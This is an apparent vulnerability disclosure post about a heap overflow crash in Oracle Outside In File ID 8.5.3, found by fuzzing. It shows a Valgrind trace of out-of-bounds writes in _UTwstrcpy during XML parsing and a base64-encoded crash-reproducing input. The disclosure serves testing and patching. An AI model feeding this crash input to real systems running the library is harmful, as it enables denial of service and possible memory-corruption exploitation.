HackDig : Dig high-quality web security articles for hacker

Segmentation fault in Oracle Outside In File ID 8.5.3

2016-09-19 20:25
This is a segfault in the Oracle Outside In File ID library version 8.5.3.

http://www.oracle.com/technetwork/middleware/content-management/downloads/oit-dl-otn-097435.html


==22240== Memcheck, a memory error detector
==22240== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==22240== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==22240== Command: ./fisimple
../../../sdk/demo/syncdir/fuzzer4/crashes/id:000015,sig:11,src:003558+004249,op:splice,rep:2
==22240==
==22240== Invalid write of size 2
==22240== at 0x54BE452: _UTwstrcpy (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CA1BF: ??? (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CAC6C: UTXMLReadNextTag (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x4E47981: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4BD7C: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4D852: FIIdHandle (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E4F0: FIIdFile (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E535: FIIdFileEx (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4009D6: main (in /root/tmp/tmp/sdk/demo/fisimple)
==22240== Address 0x73c420e is 0 bytes after a block of size 2,974 alloc'd
==22240== at 0x4C2DD9F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==22240== by 0x5ECC90D: SYSNativeReAlloc (in /root/tmp/tmp/redist/libwv_core.so)
==22240== by 0x54C9E78: ??? (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CA190: ??? (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CAC6C: UTXMLReadNextTag (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x4E47981: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4BD7C: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4D852: FIIdHandle (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E4F0: FIIdFile (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E535: FIIdFileEx (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4009D6: main (in /root/tmp/tmp/sdk/demo/fisimple)
==22240==
==22240== Invalid write of size 2
==22240== at 0x54BE440: _UTwstrcpy (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CA1BF: ??? (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CAC6C: UTXMLReadNextTag (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x4E47981: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4BD7C: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4D852: FIIdHandle (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E4F0: FIIdFile (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E535: FIIdFileEx (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4009D6: main (in /root/tmp/tmp/sdk/demo/fisimple)
==22240== Address 0x73c4210 is 2 bytes after a block of size 2,974 alloc'd
==22240== at 0x4C2DD9F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==22240== by 0x5ECC90D: SYSNativeReAlloc (in /root/tmp/tmp/redist/libwv_core.so)
==22240== by 0x54C9E78: ??? (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CA190: ??? (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CAC6C: UTXMLReadNextTag (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x4E47981: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4BD7C: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4D852: FIIdHandle (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E4F0: FIIdFile (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E535: FIIdFileEx (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4009D6: main (in /root/tmp/tmp/sdk/demo/fisimple)
==22240==
==22240== Invalid write of size 2
==22240== at 0x54BE457: _UTwstrcpy (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CA1BF: ??? (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CAC6C: UTXMLReadNextTag (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x4E47981: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4BD7C: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4D852: FIIdHandle (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E4F0: FIIdFile (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E535: FIIdFileEx (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4009D6: main (in /root/tmp/tmp/sdk/demo/fisimple)
==22240== Address 0x73c421e is 16 bytes after a block of size 2,974 alloc'd
==22240== at 0x4C2DD9F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==22240== by 0x5ECC90D: SYSNativeReAlloc (in /root/tmp/tmp/redist/libwv_core.so)
==22240== by 0x54C9E78: ??? (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CA190: ??? (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x54CAC6C: UTXMLReadNextTag (in /root/tmp/tmp/redist/libsc_ut.so)
==22240== by 0x4E47981: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4BD7C: ??? (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4D852: FIIdHandle (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E4F0: FIIdFile (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4E4E535: FIIdFileEx (in /root/tmp/tmp/redist/libsc_fi.so)
==22240== by 0x4009D6: main (in /root/tmp/tmp/sdk/demo/fisimple)
==22240==
File : ../../../sdk/demo/syncdir/fuzzer4/crashes/id:000015,sig:11,src:003558+004249,op:splice,rep:2 - ID : 1999
(0x07CF) - String ID name: Unknown format
==22240==
==22240== HEAP SUMMARY:
==22240== in use at exit: 72,736 bytes in 2 blocks
==22240== total heap usage: 365 allocs, 363 frees, 571,865 bytes allocated
==22240==
==22240== LEAK SUMMARY:
==22240== definitely lost: 0 bytes in 0 blocks
==22240== indirectly lost: 0 bytes in 0 blocks
==22240== possibly lost: 0 bytes in 0 blocks
==22240== still reachable: 72,736 bytes in 2 blocks
==22240== suppressed: 0 bytes in 0 blocks
==22240== Rerun with --leak-check=full to see details of leaked memory
==22240==
==22240== For counts of detected and suppressed errors, rerun with: -v
==22240== ERROR SUMMARY: 18 errors from 3 contexts (suppressed: 0 from 0)


-----
Reproducing sample

PE1lVG1sbnM6IHhtbG5zPScwbT0nMG1sbnNtbG5gPSc6IHhtbG5zPScwbSc6IHhtbG49JzBtPScw
bWxuc21sbmA9JzogeG1sbnM9JzBtJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW46IHhtbG5zPSc6
NnhtbG5zPScwbWxuczogeG1uYD0nOiB4bWxucz0nMFonOiB4bWxucz0nMG1sbiB4bYVuOiB4bW1u
cz0nOiB4bWxucz0nMG1sbnM6IHhtbmA9JzogeG1sbnM6IHjBwcHBwRDBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwX/BwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcFt
hW5VIHhtbG5zPSc6IHhtbG5zPScwbYVsbnNtbG5gWSc6IHhtbG5zPScwbSc6IHhtbG5zPScwbWxu
czogbHZzOiB4bYVuOiB4bWxucz0nOiB4bWxucz0nMG1sbnM6MHhtbmA9JzogeG1sbnM9JzBaJzog
eG1sbnM9JzBtbG5zOiBsdnM6IHhthW5VIHhtbG5zPSc6IHhtbG5zPScwbG5zPScwWic6IHhtbG5z
PScwbWxuIHhthW46IHhtbW5zHSc6IHhtbG5zPScwbWxuczogeG1uYD0nOiB4bWxucz0nMFonOiB4
bWxucz0nMG1sbnNAIGxkczogeG2FblUgeG1sbnw9JzogeG1sbnM9JzBthWxuc21sbmA9JzogeG1s
bnM9JzBtJzogeG1sbow9JzBtbG5zOiBsdnM6IHhthW46IHhtbG5zPSc6IHhtbG5zPScwbYRuczog
eG1uYD0nOiB4cz0nMG0nOiB4bWxucz0nMG1tbG5zPScwWic6IG1sbnM9JzBtJzogeG1sbnM9JzBt
bG5zOiBsdnM6IHhthW46IHhtbG5zPSc6NnhtbG5zPScwbWxuczogeG1uYD0nOiB4bWxucz0nMFon
OiB4bWxucz0nMG1sbiB4bYVuOiB4bW1ucz0nOiB4bWxucz0nMG1sbnM6IHhtbmA9JzogeG1sbnM6
IHjBwcHBwRDBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcEdwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcGBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwX/BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwW2FblUgeG1s
bnM9JzogeG1sbnM9JzBthWxuc21sbmBZJzogeG1sbnM9JzBtJzogeG1sbnM9JzBtbG5zOiBsdnM6
IHhthW46IHhtbG5zPSc6bWxucz0nMG1sbnM6IGx2czogeG2FblUgeG1sbnM9JzogeG1sbnM9JzBs
bnM9JzBaJzogeG1sbnM9JzBtbG4geG2FbjogeG1tbnMdJzogeG1sbnM9JzBtbG5zOiB4bW5gPSc6
IHhtbG5zPScwWic6IHhtbG5zPScwbWxuc0AgbGRzOiB4bYVuVSB4bWxucz0nOiB4bWxucz0nMG2F
bG5zbWxuYD0nOiB4bWxucz0nMG0nOiB4bWxucz0nMG1sbnM6IGx2czogeG2FbjogeG1sbnM9Jzog
eG1sbnM9JzBthG5zOiB4bW5gPSc6IHhzPScwbSc6IHhtbG5zPScwbW1sbnM9JzBaJzogbWxucz0n
MG0nOiB4bWxucz0nMG1sbnM6IGx2czogeG2FbjogeG1sbnM9Jzo2eG1sbnM9JzBtbG5zOiB4bW5g
PSc6IHhtbG5zPScwWic6IHhtbG5zPScwbWxuIHhthW46IHhtbW5zPSc6IHhtbG5zPScwbWyQczog
eG1uYD0nOiB4bWxuczogeMHBwcHBEMHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcGBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcFzPScwbSc6IHhtbG5zPScwbWxuczogbHZzOiB4bYVuOiB4
bWxucz0nOiB4bWxucz0nMG1sbnM6MHhtbmA9JzogeG1sbnM9JzBaJzogeG1sbnM9JzBtbG5zOiBs
dnM6IHhthW5VIHhtbG5zPSc6IHhtbG5zPScwbG5zPScwWic6IHhtbG5zPScwbWxuIHhthW46IHht
bW5zHSc6IHhtbG5zPScwbWxuczogeG1uYD0nOiB4bWxucz0nMFonOiB4bWxucz0nMG1sbnNAIGx2
czogeG2FblUgeGxucz0nOjZ4bWxucz0nMG1sbnM6IHhtbmA9JzogeG1sbnM9JzBaJzogeG1sbnM9
JzBtbG4geG2FbjogeG1tbnM9JzogeG1sbnM9JzBtbG5zOiB4bW5gPSc6IHhtbG5zOiB4wcHBwcEQ
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwZ/BwcHBwcHBwcHBbWxucz0n
MG1sbnM6IGx2czogeG2FbjogeG1sbnM9JzogeG1sbnM9JzBthG5zOiB4bW5gPSc6IHhzPScwbSc6
IHhtbG5zPScwbW1sbnM9JzBaJzogbWxucz0nMG0nOiB4bWxucz0nMG1sbnM6IGx2czogeG2Fbjog
eG1sbnM9Jzo2eG1sbnM9JzBtbG5zOiB4bW5gPSc6IHhtbG5zPScwWic6IHhtbG5zPScwbWxuICB4
bWxucz0nMG1sbnM6MHhtbmA9JzogeG1sbnM9JzBaJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW5V
IHhtbG5zPSc6IHhtbG5zPScwbG5zPScwWic6IHhtbG5zPScwbWxuIHhthW46IHhtbW5zHSc6IHht
bG5zPScwbWxuczogeG1uYD0nOiB4bWxucz0nMFonOiB4bWxucz0nMG1sbnNAIGx2czogeG2FblUg
eG1sbnM9JzogeG1sbnM9JzBthWxuc21sbmA9J8HBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBIHhtbG5zPScwbSc6IHhtbG5zPScwbWxuczogbHZzOiB4bYVuOiB4
bWxucz0nOiB4bWxucz0nMG1sbnM6MHhtbmA9JzogeG1sbnM9JzBaJzogeG1sbnM9JzBtbG5zOiBs
dnM6IHhthW5VIHhtbG5zPSc6IHhtbG5zPScwbG5zPScwWic6IHhtbG5zPScwbWxuIHhthW46IHht
bW5zHSc6IHhtbG5zPScwbWxuczogeG1uYD0nOiB4bWxucz0nMFonOiB4bWxucz0nMG1sbnNAIGxk
czogeG2FblUgeG1sbnM9JzogeG1sbnM9JzBthWxuc21sbmA9JzogeG1sbnM9JzBtJzogeG1sbnM9
JzBtbG5zOiBsdnM6IHhthW46IHhtbG5zPSc6IHhtbG5zPScwbYRuczogeG1uYD0nOiB4cz0nMG0n
OiB4bWxucz0nMG1tbG5zPScwWic6IG1sbnM9JzBtJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW46
IHhtJzogeG1sbnM9JzBtJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW46IHhtbG5zPSc6IHhtbG5z
PScwbWxuczoweG1uYD0nOiB4Dmxucz0nMFonOiB4bWxucz0nMG1sbnM6IGx2czogeG2FblUgeG1s
bnM9JzogeG1sbnM9JzBsbnM9JzBaJzogeG1sbnM9JzBtbG4geG2FbjogeG1tbnMdJzogeG1sbnM9
JzBtbG5zOiB4bW5gPSc6IHhtbG5zPScwWic6IHhtbG5zPScwbWxuc0AgbGRzOiB4bYVuVSB4bWxu
cz0nOiB4bWxucz0nMG2FbG5zbWxuYD0nOiB4bWxucz0nMG0nOiB4bWxucz0nMG0nOiB4bWxucz0n
MG1sbnM6IGx2czogeG2FbjogeG1sbnM9JzogeG1sbnM9JzBthG5zOiB4bW5gPSc6IHhzPScwbSc6
IHhtbG5zPScwbW1sbnM9JzBaJzogbWxucz0nMG0nOiB4bWxucz0nMG1sbnM6IGx2czogeG2Fbjog
eG1sbnM9Jzo2eG1sbnM9JzBtbG5zOiB4bW5gPSc6IHhtbG5zPScwWic6IHhtbG5zPScwbWxuIHht
hW46IHhtbW5zPSc6IHhtbG5zPScwbWxuczogeG1uYD0nOiB4bWxuczogeMHBwcHBEMHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcGBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwXM9JzBt
JzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW46IHhtbG5zPSc6IHhtbG5zPScwbWxuc3htbG5zPSc6
IHhtbG5zPScwbG5zPScwWic6IHhtbG5zPScwbWxuIHhthW46IHhtbW5zHSc6IHhtbG5zPScwbWxu
czogeG1uYD0nOiB4bWxucz0nMFonOiB4bWxucz0nMG1sbnNAIGxkczogeG2FblUgeG1sbnM9Jzog
eG1sbnM9JzBthWxuc21sbmA9JzogeG1sbnM9JzBtJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW46
IHhtbG5zPSc6IHhtbG5zPScwbYRuczogeG1uYD0nOiB4cz0nMG0nOiB4bWxucz0nMG1tbG5zPScw
Wic6IG1sbnM9JzBtJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW46IHhtJzogeG1sbnM9JzBtJzog
eG1sbnM9JzBtbG5zOiBsdnM6IHhthW46IHhtbG5zPSc6IHhtbG5zPScwbWxuczoweG1uYD0nOiB4
bWxucz0nMFonOiB4bWxucz0nMG1sbnM6IGx2czogeG2FblUgeG1sbnM9JzogeG1sbnM9JzBsbnM9
JzBaJzogeG1sbnM9JzBtbG4geG2FbjogeG1tbnMdJzogeG1sbnM9JzBtbG5zOiB4bW5gPSc6IHht
bG5zPScwWic6IHhtbG5zPScwbWxuc0AgbGRzOiB4bYVuVSB4bWxucz0nOiB4bWxucz0nMG2FbG5z
bWxuYD0nOiB4bWxucz0nMG0nOiB4bWxucz0nMG1sbnM6IGx2czogeG2FbjogeG1sbnM9JzogeG1s
bnM9JzBthG5zOiB4bW5gPSc6IHhzPScwbSc6IHhtbG5zPScwbW1sbnM9JzBaJzogbWxucz0nMG0n
OiB4bWxucz0nMG1sbnM6IGx2czogeG2FbjogeG1sbnM9Jzo2eG1sbnM9JzBtbG5zOiB4bW5gPSc6
IHhtbG5zPScwWic6IHhtbG5zPScwbWxuIHhthW46IHhtbW5zPSc6IHhtbG5zPScwbWxuczogeG1u
YD0nOiB4bWxuczogeMHBwcHBEMHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcGBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcFzPScwbSc6IHhtbG5zPScwbWxuczogbHZzOiB4bYVuOiB4bWxu
cz0nOiB4bWxucz0nMG1sbnM6MHhtbmA9JzogeG1sbnM9JzBaJzogeG1sbnM9JzBtbG5zOiBsdnM6
IHhthW5VIHhtbG5zPSc6IHhtbG5zPScwbG5zPScwWic6IHhtbG5zPScwbWxuIHhthW46IHhtbW5z
HSc6IHhtbG5zPScwbWxuczogeG1uYD0KOiB4bWxucz0nMFonOiB4bWxucz0nMG1sbnNAIGx2czog
eG2FblUgeGxucz0nOjZ4bWxucz0nMG1sbnM6IHhtbmA9JzogeG1sbnM9JzBaJzogeG1sbnM9JzBt
bG4geG2FbjogeG1tbnM9JzogeG1sbnM9JzBtbG5zOiB4bW5gPSc6IHhtbG5zOj0nMGxucz0QwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBIHhtbG5zPScw
bSc6IHhtbG5zPScwbWxuczogbHZzOiB4bYVuOiB4bWxucyonOiB4bWxucz0nMG1sbnM6MHhtbmA9
JzogeG1sbnM9JzBaJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthXZzOiB4bYVuOiB4bSc6IHhtbG5z
PScwbSc6IHhtbG5zPScwbWxuczogbHZzOiB4bYVuOiB4bWxucz0nOiB4bWxucz0nMG1sbnM6MHht
bmA9JzogeG1sbnM9JzBaJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW5VIHhtbG5zPSc6IHhtbG5z
PScwbG5zPScwWic6IHhtbG5zPScwbWxuIHhthW46IHhtbW5zHSc6IHhtbG5zPScwbWxuczogeG1u
YD0nOiB4bWxucz0nMFonOiB4bWxucz0nMG1sbnNAIGxkczogeG2FblUgeG1sbnM9JzogeG1sbnM9
JzBthWxuc21sbmA9JzogeG1sbnM9JzBtJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW46IHhtbG5z
PSc6IHhtbG5zPScwbYRuczogeG1uYD0nOiB4cz0nMG0nOiB4bWxucz0nMG1tbG5zPScwWic6IG1s
bnM9JzBtJzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW46IHhtbG5zPSc6NnhtbG5zPScwbWxuczog
eG1uYD0nOiB4bWxucz0nMFonOiB4bWxucz0nMG1sbiB4bYVuOiB4bW1ucz0nOiB4bWxucz0nMG1s
kHM6IHhtbmA9JzogeG1sbnM6IHjBwcHBwRDBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBgcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBcz0nMG0nOiB4bWxucz0nMG1sbnM6IGx2czogeG2F
bjogeG1sbnM9JzogeG1sbnM9JzBtbG5zOjB4bW5gPSc6IHhtbG5zPScwWic6IHhtbG5zPScwbWxu
czpzOiBsdnM6IHhthW46IHhtbG5zPSc6NnhtbG5zPScwbWxuczogeG1uYD0nOiB4bWxucz0nMFon
OiB4bWxucz0nMG1sbiB4bYVuOiB4bW1ucz0nOiB4bWxucz0nMG1sbnM6IHhtbmA9JzogeG1sbnM6
IHjBwcHBwRDBwcHBwcHBwcHBwW1sbnM9JzBaJzogeG1sbnM9JzBtbG5zQCBsZHM6IHhthW5VIHht
bG5zPSc6IHhtbG5zPScwbYVsbnNtbG5gPSc6IHhtbG5zPScwbSc6IHhtbG6MPScwbWxuczogbHZz
OiB4bYVuOiB4bWxucz0nOiB4bWxucz0nMG2EbnM6IHhtbmA9JzogeHM9JzBtJzogeG1sbnM9JzB4
cz0nMG0nOiB4bWxucz0nMG1tbG5zPScwWic6IG1sbnM9JzBtJzogeG1sbnM9JzBtbG5zOiBsdnM6
IHhthW46IHhtbG5zPSc6NnhtbG5zPScwbWxuczogeG1uYD0nOiB4bWxucz0nMFonOiB4bWxucz0n
MG1sbiB4bYVuOiB4bW1ucz0nOiB4bWxucz0nMG1sbnM6IHhtbmA9JzogeG1sbnM6IHjBwcHBwRDB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBgcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
cz0nMG0nOiB4bWxucz0nMG1sbnM6IGx2czogeG2FbjogeG1sbnM9JzogeG1sbnM9JzBtbG5zOjB4
bW5gPSc6IHhtbG5zPScwWic6IHhtbG5zPScwbWxuczogbHZzOiB4bYVuVSB4bWxucz0nOiB4bWxu
cz0nMGxucz0nMFonOiB4bWxucz0nMG1sbiB4bYVuOiB4bW1ucx0nOiB4bWxucz0nMG1sbnM6IHht
bmA9CjogeG1sbnM9JzBaJzogeG1sbnM9JzBtbG5zQCBsdnM6IHhthW5VIHhsbnM9Jzo2eG1sbnM9
JzBtbG5zOiB4bW5gPSc6IHhtbG5zPScwWic6IHhtbG5zPScwbWxuIHhthW46IHhtbW5zPSc6IHht
bG5zPScwbWxuczogeG1uYD0nOiB4bWxuczogeMHBwcHBEMHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwSB4bWxucz0nMG0nOiB4bWxucz0nMG1sbnM6IGx2
czogeG2FbjogeG1sbnMqJzogeG1sbnM9JzBtbG5zOjB4bW5gPSc6IHhtbG5zPScwWic6IHhtbG5z
PScwbWxuczogbHZzOiB4bYV2czogeG2FbjogeG0nOiB4bWxucz0nMG0nOiB4bWxucz0nMG1sbnM6
IGx2czogeG2FbjogeG1sbnM9JzogeG1sbnM9JzBtbG5zOjB4bW5gPSc6IHhtbG5zPScwWic6IHht
bG5zPScwbWxuczogbHZzOiB4bYVuVSB4bWxucz0nOiB4bWxucz0nMGxucz0nMFonOiB4bWxucz0n
MG1sbiB4bYVuOiB4bW1ucx0nOiB4bWxucz0nMG1sbnM6IHhtbmA9JzogeG1sbnM9JzBaJzogeG1s
bnM9JzBtbG5zQCBsZHM6IHhthW5VIHhtbG5zPSc6IHhtbG5zPScwbYVsbnNtbG5gPSc6IHhtbG5z
PScwbSc6IHhtbG5zPScwbWxuczogbHZzOiB4bYVuOiB4bWxucz0nOiB4bWxucz0nMG2EbnM6IHht
bmA9JzogeHM9JzBtJzogeG1sbnM9JzBtbWxucz0nMFonOiBtbG5zPScwbSc6IHhtbG5zPScwbWxu
czogbHZzOiB4bYVuOiB4bWxucz0nOjZ4bWxucz0nMG1sbnM6IHhtbmA9JzogeG1sbnM9JzBaJzog
eG1sbnM9JzBtbG4geG2FbjogeG1tbnM9JzogeG1sbnM9JzBtbJBzOiB4bW5gPSc6IHhtbG5zOiB4
wcHBwcEQwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwYHBwcHBwcHBwcHBwcHBwcFtbWxucz0nMFonOiBtbG5zPScwbSc6
IHhtbG5zPScwbWxuczogbHZzOiB4bYVuOiB4bWxucz0nOjZ4bWxucz0nMG1sbnM6IHhtbmA9Jzog
eG1sbnM9JzBaJzogeG1sbnM9JzBtbG4geG2FbjogeG1tbnM9JzogeG1sbnM9JzBtbG5zOiB4bW5g
PSc6IHhtbG5zOiB4wcHBwcEQwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBHcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBgcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcF/wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcFthW5VIHhtbG5zPSc6IHhtbG5zPScwbYVsbnNtbG5gWSc6IHhtbG5zPScwbSc6IHhtbG5zPScw
bWxuczogbHZzOiB4bYVuOiB4bWxucz0nOiB4bWxucz0nMG1sbnM6MHhtbmA9JzogeG1sbnM9JzBa
JzogeG1sbnM9JzBtbG5zOiBsdnM6IHhthW5VIHhtbG5zPSc6IHhtbG5zPScwbG5zPScwWic6IHht
bG5zPScwbWxuIHhthW46IHhtbW5zHSc6IHhtbG5zPScwbWxuczogeG1uYD0nOiB4bWxucz0nMFon
OiB4bWxucz0nMG1sbnNAIGx2czogeG2FblUgeG1sbnM9JzogeG1sbnM9JzBthWxuc21sbmA9J8HB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB
wcHFwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBIHhtbG5zPScwbSc6
